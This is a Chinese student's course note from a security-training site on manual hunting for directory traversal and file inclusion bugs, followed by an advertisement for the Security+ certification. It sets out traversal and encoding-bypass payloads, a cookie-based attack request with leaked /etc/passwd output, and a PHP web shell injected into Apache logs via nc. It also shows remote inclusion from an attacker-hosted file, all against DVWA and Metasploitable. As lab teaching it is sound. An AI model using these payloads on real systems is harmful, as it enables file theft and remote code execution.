手动漏洞挖掘
Directory travarsal / File include(有区别/没区别)
目录权限限制不严 / 文件包含
/etc/php5/cgi/php.ini
allow_url_include = on
应用程序功能操作文件,限制不严时导致访问WEB目录以外的文件
读、写文件、远程执行代码
特征但不绝对
?page=a.php
?home=b.html
?file=content
[email protected]:~$ ifconfig
[email protected]:~$ sudo vi /etc/php5/cgi/php.ini
allow_url_include = ON
[email protected]:~$ sudo /etc/init.d/apache2 restart
手动漏洞挖掘
经典测试方法
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
编码绕过字符过滤
"." "%00" #绕过文件扩展名过滤
file=a.doc%00.php
使用多种编码尝试
[email protected]:~# pwd
[email protected]:~# cd . //当前目录
[email protected]:~# cd ../../ //根目录
[email protected]:~# cd ../../../../ //跳到根目录
手动漏洞挖掘
不同操作系统的路径特征字符
类unix系统
根目录: /
目录层级分隔符: /
Windows系统
C:\
\ 或 /
手动漏洞挖掘
url编码、双层url编码
%2e%2e%2f 解码: ../
%2e%2e%5c 解码: ..\
%252e%252e%255c 解码: ..\
Unicode/UTF-8编码
..%c0%af 解码: ../
..%u2216
..%c1%9c 解码: ..\
手动漏洞挖掘
其他系统路径可能使用到的字符
file.txt....
file.txt<spaces>
file.txt""""
file.txt<<<>>><
./././file.txt
nonexistant/../file.txt
UNC路径
\\1.1.1.1\path\to\file.txt
[email protected]:~# cd a
[email protected]:~# cd a/../a.txt
手工漏洞挖掘
代码 <?php
$template = 'blue.php'
if ( is_set( $_COOKIE['TEMPLATE'] ) )
$template = $_COOKIE['TEMPLATE'];
include ( "/home/users/phpguru/templates/" . $template );
?>
攻击 GET /vulnerable.php HTTP/1.0\
Cookie: TEMPLATE=../../../../../../../../../etc/passwd
结果 HTTP/1.0 200 OK
Content-Type: text/html
Server:Apache
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
手动漏洞挖掘
本地文件包含lfi
查看文件
代码执行
<?php echo shell_exec($_GET['cmd']);?>
Apache access.log
远程文件包含rfi
出现概率少于lfi,但更容易被利用
[email protected]:~$ cd /var/log/apache2/
[email protected]:~/var/log/apache2$ cat access.log
r[email protected]:~# nc 192.168.1.118 80
<?php echo shell_exec($_GET['cmd']);?>
HTTP/1.1 400 Bad Request
Date: Mon, 18 jan 2016 12:19:29 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
Content-Length: 323
Contetion: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML_ PUBLIC "-//IEIF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</hl>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.8 (Ubuntu) DAV/2 Server at metasploitable.localdomain Port 80</address>
</body></html>
[email protected]:~/var/log/apache2$ ls -l access.log
[email protected]:~/var/log/apache2$ cd ..
[email protected]:~/var/log$ sudo chmod a+xr apache2/
[email protected]:~/var/log$ ls -ld apache2/
[email protected]:~/var/log$ cd ..
[email protected]:~/var$ ls -ld log
[email protected]:~/var$ cd ..
[email protected]:~$ ls -ld var/
[email protected]:~$ cd /var/log/apache2/
[email protected]:~/var/log/apache2$ cat access.log
192.168.1.168/dvwa/vulnerablities/fi/?page=http://192.168.1.119/a.php
[email protected]:~# nc -nclp 80
listening on [any] 80 ...
connect to [192.168.1.119 from (UNKNOWN) [192.168.1.118] 52612
GET /a.php HTTP/1.0
Host: 192.168.1.119
--------------------------------------------------------------------
<?php
$file = $_GET['page']; //The page we wish to display
?>
----------------------------------------------------------------------
?php
$file = $_GET['page']; //The page we wish to display
// Only allow include.php
if ( $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
}
?>
?>
该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂
Security+认证为什么是互联网+时代最火爆的认证?
牛妹先给大家介绍一下Security+
Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。
通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。
Security+认证如此火爆的原因?
原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。
目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。
原因二: IT运维人员工作与翻身的利器。
在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。
原因三:接地气、国际范儿、考试方便、费用适中!
CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。
在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。